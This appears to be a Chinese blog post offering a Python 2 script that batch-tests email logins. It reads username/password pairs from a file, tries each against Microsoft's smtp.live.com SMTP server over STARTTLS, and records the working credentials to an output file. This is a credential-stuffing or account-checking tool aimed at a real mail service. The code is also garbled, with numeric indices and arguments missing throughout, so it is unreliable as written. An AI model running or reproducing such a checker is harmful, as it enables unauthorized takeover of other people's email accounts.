批量测试邮箱登录python脚本

---恢复内容开始---

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import smtplib
import sys
import time
import threading
class Mythread(threading.Thread):
def __init__(self,username,pwd):
threading.Thread.__init__(self)
self.username = username
self.pwd = pwd
def run(self):
try:
server = "smtp.live.com"
fp = open(self.username)
fp1 = open(self.pwd,'w')
except Exception, Error1:
print "Files fopen Error"
for line in fp.readlines():
lines = line.split(' ')
uname = lines[]
password = lines[]
password = password.split('\n')[]
smtp = smtplib.SMTP(server,)
try:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
#smtp.login.SSL(uname,password) 如果启用了SSL,解开这句
smtp.login(uname,password)
except Exception, LoginError:
print "[-]:%s : %s" % (uname,password)
time.sleep()
else:
out = "[+]:%s : %s" % (uname,password)
print out
fp1.write(out)
fp1.flush()
if __name__ == '__main__':
Mythread(sys.argv[],sys.argv[]).start()

批量测试邮箱登录python脚本

上一篇:linux服务器批量部署应用系统shell脚本(Tomcat/jetty)


下一篇:PHP 命令行模式实战之cli+mysql 模拟队列批量发送邮件(在Linux环境下PHP 异步执行脚本发送事件通知消息实际案例)